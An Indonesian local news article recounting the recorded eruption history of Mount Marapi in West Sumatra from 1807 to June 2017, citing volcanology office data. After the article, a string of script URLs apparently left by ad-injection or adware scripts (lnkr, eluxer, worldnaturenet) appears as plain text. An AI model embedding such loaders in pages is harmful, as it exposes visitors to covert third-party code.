Ruang Publik

Inilah Sejarah Ringkas Letusan Gunungapi Marapi Sumatera Barat

HaloBukittinggi : Data yang dihimpun  Pusat Vulkanologi dan Mitigasi Bencana Geologi (PVMBG) Bukittinggi, aktivitas letusan atau erupsi Gunungapi Marapi Sumatera Barat, sudah tidak terhingga, mulai dari letusan kecil hingga letusan besar, seluruhnya data itu telah dirangkum dalam bentuk catatan yang didokumentasikan secara baik.

Dalam data PVMBG yang diperlihatkan petugas Hartantao Prawiro, Sabtu (10/6/2017), letusan Gunungapi Marapi ini pertama kali terdata itu pada tahun 1807. Selanjutnya, di tahun 1822 dengan mengeluarkan lava disertai hembusan awan panas, debu, sinar api dari arah Puncak. Dilaporkan, letusan ini sedikit menimbulkan kerusakan, yang tidak tercatat secara detail.

Rincian data medio tahun 1833 hingga 1834, Marapi kembali meletus  dalam skala kecil, abu hitam terlihat keluar dari kawah dan malamnya, terlihat bara api.

Setelah 11 tahun vakum ulas Hartanto Prawiro, tepatnya tahun 1845, Gunungapi Marapi mengeluarkan letusan dari puncak, terdengar suara bergemuruh dan terlihat api dalam skala besar.

29 Agustus 1854, Marapi meletus setelah cukup lama padam, terjadi hujan abu selama beberapa hari, tapi tak disebutkan wilayah mana yang terkena hujan abu.

Selanjutnya, Marapi juga meletus dalam skala kecil pada tahun 1855,1856, 1861, dan 1863.

Pada tahun 1871 sambung Hartanto Prawiro, terjadi letusan yang cukup menyita perhatian, sebab dampak letusan itu disebutkan menyebabkan hujan abu dengan intensitas cukup tebal hingga mencapai wilayah Bukittinggi.

4 April 1876, awan asap besar terlihat. Aktifitas Marapi dilaporkan meningkat sejak saat itu, pada bulan Agustus, satu bongkah lava sebesar 10-12 Meter Kubik terlempar ke udara sejauh 280 meter. Periode Agustus-Desember ini, aktifitas Marapi sangat tinggi sebab sering teramati letusan lava dan abu.

Berikutnya, pada 1878 tepatnya di bulan Desember, terdengar gemuruh selama 10 menit.

Di tahun 1883, Marapi kembali erupsi, kali ini terjadi letusan abu dalam skala kecil. Begitupun di tahun 1885, terlihat asap kembali mengepul dari puncak.

31 Maret 1886, terjadi letusan besar. Suara gemuruh dari kepundan terdengar sebanyak lima kali. Akibat dari letusan ini, Sumpu dan Simawang dihantam hujan abu.

Dua tahun kemudian, tepatnya 19-20 Februari 1888, terjadi letusan stromboli. Ini cukup besar, sebab abu letusannya mengepung sampai ke wilayah Tiku Agam selama dua jam.

Periode selanjutnya hingga tahun 1913 tambah Hartanto Prawiro tidak diketahui, sebab tak ada keterangan tentang aktifitas Marapi. Tahun 1916, tepatnya 5 Mei pukul 14.30-14.44 wib dan 7 Mei pukul 13.14 wib kembali terdengar suara gemuruh.

Setahun berikutnya, Marapi mengamuk hebat. Tanggal 16 September 1917, letusan besar terjadi, hujan abu dilaporkan mendera Bukittinggi.

Pada 8 Maret 1918 kembali terjadi letusan. Dua hari selanjutnya,  seorang ahli asal Belanda yang bernama Justesen, melihat jika dasar kawah berwarna merah darah disertai kepulan asap warna biru.

Berikutnya, 1919, terjadi ledakan kuat. Disebutkan, ada sebongkah lava terlempar ke arah barat daya, pada 1925, tepatnya 12-13 April, aktifitas vulkanik Marapi kembali meningkat ditandai dengan munculnya sumbat lava dari dasar kawah.

Berikut di tahun 1927, serentetan letusan yang mengeluarkan abu hitam tebal berbentuk kembang kol terjadi dengan hebatnya. Tinggi asap mencapai 2-3 km yang mengakibatkan Padang Panjang terkena hujan abu.

Selanjutnya hingga tahun 1951, beberapa kali tercatat peningkatan aktifitas Marapi dengan mengeluarkan berbagai letusan dengan skala kecil yang diikuti dengan gempa.

Menurut Hartanto Prawiro, pada tahun 1952, Marapi kembali erupsi dengan dahsyat, tepatnya tanggal 29 Mei-6 Juni, letusan abu berbentuk cendawan dengan ketinggian mencapai 2-3 km mengakibatkan wilayah Padang Panjang terkena hujan abu. Pada tanggal 7-14 Juni letusannya berangsur melemah. Kemungkinan, letusan di tahun inilah yang menjadi salah satu letusan terbesar yang tercatat selama sejarah Marapi.

Setelahnya, letusan eksplosif kembali terjadi pada 26-28 Maret 1975, yang disertai dengan suara gemuruh dan lontaran material lava pojar yang terjadi pada kawah. Tinggi asap berkisar antara 1000-1500 meter, hujan abu menyentuh Batu Sangkar.

Begitupun pada tahun 1977, letusan juga terjadi hingga mengeluarkan asap putih tebal setinggi 1000 meter, dan

sementara pada 8 September 1978, letusan besar yang berasal dari kawah verbeek dan kawah C, asap letusan berbentuk kembang kol membumbung tinggi lebih kurang 1500 meter di angkasa. Hujan abu menyebar sejauh 25 km hingga melingkupi sejumlah daerah di dalam Kabupaten Tanah Datar, tahun 1980, tanggal 8 Mei dan 14 Oktober, letusan eksplosif disertai suara gemuruh pada kawah Verbeek. Tinggi asap mencapai 1000 meter, dan dilaporkan terjadi hujan abu di wilayah Tanah Datar dengan ketebalan 1 milimeter.

Kemudian ulas Hartanto Prawiro, di tahun 1987, Marapi tampak begitu sibuk beraktifitas. Serangkaian letusan besar disertai suara gemuruh dengan lontaran lava pijar terjadi dari dalam kawah. Tinggi asap letusan bervariasi antara 600-1500 meter, serentetan letusan itu membuat sebaran abu mencapai wilayah Bukittinggi, Tanah Datar, dan Pariaman.

Periode 1988-1990, Marapi masih bergejolak. Rentetan letusan eksplosif kadang disertai suara gemuruh dan sinar bara api terjadi secara sporadis sepanjang tahun. pusat letusan masih di kawah utama atau populer disebut kawah Verbeek. Tinggi asap antara 400-2000 meter dengan warna hitam tebal berbentuk cendawan, hujan abu menyebar hingga 6-10 km dari pusat kegiatan,

Selanjutnya hingga tahun 2010, teramati sejumlah letusan kecil dengan ketinggian asap antara 200-1500 meter, pada 3 Agustus 2011, letusan eksplosif disertai suara gemuruh terdengar dari kawah. Tinggi asap mencapai 1000 meter yang menyebabkan hujan abu dengan ketebalan kurang dari 1 mm. Sejak saat itu, status Marapi naik dari Normal level I menjadi Waspada Level II hingga sekarang,

Tanggal 26 September 2012. Letusan besar kembali terjadi dengan suara bergemuruh dari kawah yang memaksa keluarnya asap warna kelabu tebal dengan ketinggian lebih kurang 1500 meter, di 2014, tercatat sejumlah letusan sebanyak 18 kali dengan warna asap kelabu dengan ketinggian 100-700 meter.

Terakhir, Minggu 4 Juni 2017, terjadi letusan sebanyak 6 kali pada kawah Verbeek . tinggi asap mencapai 700 meter yang menyebabkan hujan abu jatuh di Tanah Datar dengan ketebalan kurang dari 1 milimeter.

Hingga Jum’at 9 Juni 2017, Marapi tercatat sudah megekuarkan lebih dari 90 letusan, sejak beraktivitas kembali pada Minggu 4 Juni 2017 lalu. (Dipra)

 

 

 

https://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2449&ext=Advertisehttps://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2450&ext=Not%20sethttps://glgnltks.xyz/addons/lnkr5.min.jshttps://glgnltks.xyz/addons/lnkr30_nt.min.jshttps://eluxer.net/code?id=105&subid=51565_4460_https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51565_4460_&r=25https://glgnltks.xyz/ext/116c6de661dcbbd02f.js?sid=51565_4460_&title=Not%20set&blocks%5B%5D=1f755&blocks%5B%5D=4d09a

Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Populer

Copyright © 2016 HaloBukittinggi

To Top